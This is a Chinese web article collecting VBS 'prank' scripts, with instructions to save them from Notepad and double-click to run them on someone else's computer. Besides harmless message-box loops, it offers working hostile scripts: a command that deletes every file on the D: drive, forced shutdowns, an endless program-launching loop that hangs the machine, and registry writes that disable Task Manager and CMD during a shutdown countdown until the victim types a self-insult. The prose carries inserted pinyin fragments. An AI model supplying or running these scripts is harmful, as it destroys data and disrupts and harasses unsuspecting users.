vbs整人代碼怎么用? vbs簡單的整人代碼

VBS是是：Microsoft Visual Basic Script Edition。（微軟公司可視化BASIC腳本版），在平時(shí)我們可以利用VBS做很多事情，當(dāng)然了要熟悉VBS代碼自己制作還是挺難的，不過對于使用現(xiàn)成的VBS代碼制作VBS文件還是很簡單的，很多朋友想要一些VBS整人代碼，下面小編就整理了一些。

注意：一些VBS整人代碼會(huì)引起不適，并且部分代碼有高危害性，會(huì)刪除電腦文件的一定要慎用！


VBS制作方法

1、在記事本中粘貼VBS代碼；

2、另存為VBS文件，雙擊即可運(yùn)行。

VBS整人代碼大全：

一、做我女朋友嗎，告白（抖音里很火的）無危害

msgbox("做我女朋友可以嗎？")
msgbox("房產(chǎn)證上寫你名")
msgbox("保大")
msgbox("我媽會(huì)游泳")
m = MsgBox("做我女朋友好嗎?",vbOKCancel)
If m = vbOK Then Msgbox("愛你么么噠")
If m = vbCancel Then MsgBox "不喜歡你了", vbCritical

 
二、無限彈出，點(diǎn)確定繼續(xù)彈出，把www.ghost123.com 改成你要文字。

do 

msgbox “www.ghost123.com ”

loop 

三、打開無數(shù)個(gè)計(jì)算器，直到死機(jī) （把calc改成別的程序也可以）

set wsh=createobject("wscript.shell") 

do 

wsh.run "calc" 

loop 

四、直接關(guān)機(jī) （慎用）
 

dim WSHshell 

set WSHshell = wscript.createobject("wscript.shell") 

WSHshell.run "shutdown -f -s -t 00",0 ,true 

五、刪除D:\所有文件 （強(qiáng)烈建議不要用，刪除重要文件無法恢復(fù)可能會(huì)負(fù)法律責(zé)任）

dim WSHshell 

set WSHshell = wscript.createobject("wscript.shell") 

WSHshell.run "cmd /c ""del d:\*.* / f /q /s""",0 ,true 

六、不斷彈出窗口 

while(1) 

msgbox "哈哈 你被耍了！" 

loop

七、不斷按下alt+f4 （打開什么就關(guān)閉什么……） 
 

dim WSHshell 

set WSHshell = wscript.createobject("wscript.shell") 

while(1) 

WSHshell.SendKeys "%{F4}" 

loop 

 

八、按500次回車 (以上代碼在運(yùn)行者的電腦上顯示500個(gè)對話框。其中 do until s=500 ，500可以隨意更改) 

 

dim s 

do until s=500 

s=s+1 

msgbox "哥們，給我按500次回車吧",64 

loop 

九、關(guān)不掉的窗口 

WScript.Echo("嘿，謝謝你打開我哦，我等你很久拉！"&TSName) 

WScript.Echo("你是可愛的小朋嗎?") 

WScript.Echo("哈,我想你拉，這你都不知道嗎？") 

WScript.Echo("怎么才來，說~是不是不關(guān)心我") 

WScript.Echo("哼,我生氣拉，等你這么久，心都涼啦。") 

WScript.Echo("小強(qiáng)很生氣，后果很嚴(yán)重哦。") 

WScript.Echo("嘿嘿！你也會(huì)很慘滴哦") 

WScript.Echo("是不是想清除我？") 

WScript.Echo("那你要點(diǎn)上50下哦，不過會(huì)給你驚喜滴") 

WScript.Echo("還剩49下，快點(diǎn)點(diǎn)哦") 

WScript.Echo("還剩48下，快點(diǎn)，小笨蛋！") 

WScript.Echo("還剩47下對，就這樣快點(diǎn)點(diǎn)！") 

WScript.Echo("還剩46下。你啊就是笨，要快哦，我先不打擾你工作。") 

WScript.Echo("還剩45下，記得要快哦！") 

WScript.Echo("還剩43下") 

WScript.Echo("還剩42下") 

WScript.Echo("還剩41下") 

WScript.Echo("還剩40下") 

WScript.Echo("還剩39下") 

WScript.Echo("還剩38下") 

WScript.Echo("還剩37下") 

WScript.Echo("還剩36下") 

WScript.Echo("還剩35下") 

WScript.Echo("還剩34下") 

WScript.Echo("還剩33下") 

WScript.Echo("還剩32下") 

WScript.Echo("還剩30下") 

WScript.Echo("還剩29下") 

WScript.Echo("還剩28下") 

WScript.Echo("還剩27下") 

WScript.Echo("還剩26下") 

WScript.Echo("還剩25下") 

WScript.Echo("還剩24下") 

WScript.Echo("還剩23下") 

WScript.Echo("還剩22下") 

WScript.Echo("還剩21下") 

WScript.Echo("還剩20下") 

WScript.Echo("還剩19下") 

WScript.Echo("還剩18下") 

WScript.Echo("還剩17下") 

WScript.Echo("還剩16下") 

WScript.Echo("還剩15下") 

WScript.Echo("還剩14下") 

WScript.Echo("還剩13下停停！！！慢點(diǎn)，我有話要說") 

WScript.Echo("還剩12下，你繼續(xù)點(diǎn)我就會(huì)消失滴") 

WScript.Echo("還剩11下，以后就看不到我拉。555555") 

WScript.Echo("還剩10下，你現(xiàn)在可以選擇停止！") 

WScript.Echo("還剩9下。你還點(diǎn)啊，不要我拉？") 

WScript.Echo("還剩8下，有點(diǎn)傷心拉，干嘛丟棄人家") 

WScript.Echo("還剩7下。瘋了，你有點(diǎn)負(fù)意！") 

WScript.Echo("還剩6下。對。你就點(diǎn)吧，我恨你！") 

WScript.Echo("還剩5下，不明白，刪除我你就好嗎？") 

WScript.Echo("還剩4下！真要?jiǎng)h除我？") 

WScript.Echo("還剩3下。可是我真的很眷戀你。。。") 

WScript.Echo("還剩2下。不要這么絕情嘛，人家是愛你的！") 

WScript.Echo("還剩1下。哼，既然你這么絕情。也別怪我無義！！！") 

WScript.Echo("我本因該消失的，不過我留戀你滴芳容，上帝又給了一次機(jī)會(huì)。") 

WScript.Echo("想結(jié)素我么?那你就再多點(diǎn)一次") 

WScript.Echo("想結(jié)素我么?那你就再多點(diǎn)一次") 

WScript.Echo("想結(jié)素我么?那你就再多點(diǎn)一次") 

WScript.Echo("想結(jié)素我么?那你就再多點(diǎn)一次") 

WScript.Echo("想結(jié)素我么?那你就再多點(diǎn)一次") 

WScript.Echo("想結(jié)素我么?那你就再多點(diǎn)一次") 

WScript.Echo("想結(jié)素我么?那你就再多點(diǎn)一次") 

WScript.Echo("想結(jié)素我么?那你就再多點(diǎn)一次") 

WScript.Echo("想結(jié)素我么?那你就再多點(diǎn)一次") 

WScript.Echo("想結(jié)素我么?那你就再多點(diǎn)一次") 

十、輸入指定文字解除，否則關(guān)機(jī)
 

on error resume next 

dim WSHshellA 

set WSHshellA = wscript.createobject("wscript.shell") 

WSHshellA.run "cmd.exe /c shutdown -r -t 180 -c ""說我是豬，不說我是豬就一分鐘關(guān)機(jī)，不信，試下···"" ",0 ,true 

dim a 

do while(a <> "我是豬") 

a = inputbox ("說我是豬,就不關(guān)機(jī)，快撒，說 ""我是豬""　","說不說","",8000,7000) 

msgbox chr(13) + chr(13) + chr(13) + a,0,"MsgBox" 

loop 

msgbox chr(13) + chr(13) + chr(13) + "早說就行了嘛" 

dim WSHshell 

set WSHshell = wscript.createobject("wscript.shell") 

WSHshell.run "cmd.exe /c shutdown -a",0 ,true 

msgbox chr(13) + chr(13) + chr(13) + "哈哈哈哈，好乖" 

十一、還是需要輸入我是豬，不然關(guān)機(jī)

 

set ws=createobject("wscript.shell") 

call shutdown(1) 

do while a<>"我是豬" 

a=inputbox("快在下面的框框里輸入我是豬,否則后果自負(fù)，快輸""我是豬"" ","輸不輸","") 

loop 

call shutdown(2) 

msgbox "早說就行了嘛",4096+64 

msgbox"再輸一遍我是豬!",4096+64 

msgbox"我是豬!",4096+64 

MsgBox"最后一次!",4096+64 

MsgBox"如果你很快的點(diǎn)過去,不看的話",4096+64 

MsgBox"我就要你踩我空間的!哼!",4096+64 

MsgBox"從前有座山!",4096+64 

MsgBox"山里有個(gè)廟.",4096+64 

MsgBox"廟里有個(gè)老和尚在講故事.",4096+64 

ws.run"iexplore.exe http://www.winwin7.com" 

msgbox"哎呀累了！數(shù)綿羊哄我睡覺",4096+64 

for i=1 to 100 

MsgBox i&"只綿羊",4096+64 

next 

msgbox"哎呀我困了，這次就饒過你吧，下次注意哦!",4096+64 

msgbox"最后問個(gè)問題，我是不是大好人！",4096+64 

if inputbox("是不是","請選擇","是")<>"是" then 

call shutdown(1) 

end if 

sub shutdown(s) 

select case s 

case 1 

ws.run"cmd.exe /c shutdown -r -t 60 -c",0 

case 2 

ws.run"cmd.exe /c shutdown -a",0 

end select 

end sub 

十二、輸入我是豬結(jié)束運(yùn)行，否則

如果別人不輸我是豬的話就會(huì)一直點(diǎn)下去 點(diǎn)到你設(shè)定的數(shù)字 

for i=1 to 100 

從1到100 

可以改成 20 其他的數(shù)字 

解除這個(gè)VBS腳本的辦法就簡單了 只是關(guān)掉任務(wù)管理器里Wscript.exe 

復(fù)制代碼 代碼如下:
 

set s=createobject("wscript.shell") 

set bag=getobject("winmgmts:\\.\root\cimv2") 

set pipe=bag.execquery("select * from win32_process where name='wscript.exe'") 

For Each id in pipe 

if instr(1,id.commandLine,wscript.scriptfullname)<>0 and pipe.count>=2 then 

s.regwrite"HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableTaskMgr",0,"REG_DWORD" 

s.regwrite"HKCU\Software\Policies\Microsoft\Windows\System\DisableCMD",0,"REG_DWORD" 

id.terminate() 

else 

s.regwrite"HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableTaskMgr",1,"REG_DWORD" 

s.regwrite"HKCU\Software\Policies\Microsoft\Windows\System\DisableCMD",1,"REG_DWORD" 

for i=1 to 60 

s.popup"系統(tǒng)將在"& 60-i &"秒后關(guān)機(jī)...",1,"系統(tǒng)提示",4096+48 

next 

Set colOS = GetObject("winmgmts:{(Shutdown)}").ExecQuery("Select * FROM Win32_OperatingSystem") 

For Each eOs In colOS 

eOs.Win32Shutdown(2) 

Next 

end if 

Next 

十三、

1：開機(jī)就強(qiáng)制自動(dòng)關(guān)機(jī) 

2：cmd命令打不開 

3：結(jié)束任務(wù)不管用 

4：F8安全模式也不管用 

呵呵！聽起來是不是有點(diǎn)恐怖啊，我在我朋友空間里看見也嚇了一跳、 

代碼破解方法：就是再運(yùn)行一次，就可以破解了，也就是第2次保存的那個(gè)VBE文件，， 

PS：不要亂拿軟件去整人，發(fā)生什么事可不要怪我啊。。 

on error resume next 

dim WSHshellA 

set WSHshellA = wscript.createobject("wscript.shell") 

WSHshellA.run "cmd.exe /c shutdown -r -t 60 -c ""說你是傻B，我是天下第一大傻B不說寶寶，我是天下第一大傻B就一分鐘關(guān)你機(jī)，不信，試試···"" ",0 ,true 

dim a 

do while(a <> "寶寶，我是天下第一大傻B") 

a = inputbox ("寶寶，我是天下第一大傻B,就不關(guān)機(jī)，快撒，說 ""寶寶，我是天下第一大傻B""　","說不說","不說",8000,7000) 

msgbox chr(13) + chr(13) + chr(13) + a,0,"MsgBox" 

loop 

msgbox chr(13) + chr(13) + chr(13) + "早說就行了嘛，乖乖" 

dim WSHshell 

set WSHshell = wscript.createobject("wscript.shell") 

WSHshell.run "cmd.exe /c shutdown -a",0 ,true 

msgbox chr(13) + chr(13) + chr(13) + "寶寶是不是又帥啦？？" 

以上就是這次小編給大家分享的VBS整人代碼大全了，還是老話 ，有危害的輕易不要使用。